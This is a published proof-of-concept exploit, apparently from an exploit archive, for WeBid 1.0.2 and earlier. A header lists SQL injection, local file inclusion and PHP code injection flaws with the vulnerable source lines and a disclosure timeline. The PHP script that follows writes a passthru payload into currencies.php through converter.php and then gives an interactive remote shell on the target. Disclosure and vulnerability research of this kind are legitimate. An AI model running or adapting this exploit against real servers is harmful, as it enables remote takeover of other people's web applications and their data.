WeBid 1.0.2 – ‘converter.php’ Remote Code Execution
<?php /* ------------------------------------------------------------ WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit ------------------------------------------------------------ author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.webidsupport.com/ This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. [-] Vulnerable code to SQL injection in feedback.php: 154. $query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1"; 155. $res = mysql_query($query); 156. $system->check_mysql($res, $query, __LINE__, __FILE__); 157. $item_title = mysql_result($res, 0, 'title'); Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154. [-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php: 21. if (isset($_COOKIE['WEBID_RM_ID'])) 22. { 23. $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'"; 24. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__); 25. setcookie('WEBID_RM_ID', '', time() - 3600); 26. } Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23. [-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php: 84. if (isset($_COOKIE['WEBID_ONLINE'])) 85. { 86. $query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'"; 87. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__); 88. } Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86. [-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php: 61. function buildcache($newaarray) 62. { 63. global $include_path; 64. 65. $output_filename = $include_path . 'currencies.php'; 66. $output = "<?php\n"; 67. $output.= "\$conversionarray[] = '" . time() . "';\n"; 68. $output.= "\$conversionarray[] = array(\n"; 69. 70. for ($i = 0; $i < count($newaarray); $i++) 71. { 72. $output .= "\t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')"; 73. if ($i < (count($newaarray) - 1)) 74. { 75. $output .= ",\n"; 76. } 77. else 78. { 79. $output .= "\n"; 80. } 81. } 82. 83. $output .= ");\n?>\n"; 84. 85. $handle = fopen($output_filename, 'w'); 86. fputs($handle, $output); 87. fclose($handle); 88. } Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being written to currencies.php file, this can lead to arbitrary PHP code injection. [-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php: 18. if (isset($_GET['lan']) && !empty($_GET['lan'])) 19. { 20. if ($user->logged_in) 21. { 22. $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id']; 23. } 24. else 25. { 26. // Set language cookie 27. setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/'); 28. } 29. $language = $_GET['lan']; 30. } 31. elseif ($user->logged_in) 32. { 33. $language = $user->user_data['language']; 34. } 35. elseif (isset($_COOKIE['USERLANGUAGE'])) 36. { 37. $language = $_COOKIE['USERLANGUAGE']; 38. } 39. else 40. { 41. $language = $system->SETTINGS['defaultlanguage']; 42. } 43. 44. if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage']; 45. 46. include $main_path . 'language/' . $language . '/messages.inc.php'; Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before being used to include files on line 46. This can be exploited to include arbitrary local files. [-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log [-] Disclosure timeline: [19/06/2011] - Vulnerabilities discovered [19/06/2011] - Vendor contacted [20/06/2011] - Vendor contacted again [21/06/2011] - No response from vendor [21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34 [22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1 [22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892 [04/07/2011] - Public disclosure */ error_reporting(E_ERROR); set_time_limit(0); if (!extension_loaded("curl")) die("cURL extension required\n"); $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_VERBOSE, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); function http_post($page, $data) { global $ch, $url; curl_setopt($ch, CURLOPT_URL, $url.$page); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); return curl_exec($ch); } print "\n+----------------------------------------------------------------------+"; print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |"; print "\n+----------------------------------------------------------------------+\n"; if ($argc < 2) { print "\nUsage......: php $argv[0] <url>\n"; print "\nExample....: php $argv[0] https://localhost/"; print "\nExample....: php $argv[0] http://localhost/webid/\n"; die(); } $url = $argv[1]; $code = rawurlencode("\0'));print('_code_');passthru(base64_decode(\$_POST['c'])//"); http_post("converter.php", "action=convert&from=USD&to={$code}"); while(1) { print "\nwebid-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n"); } ?> |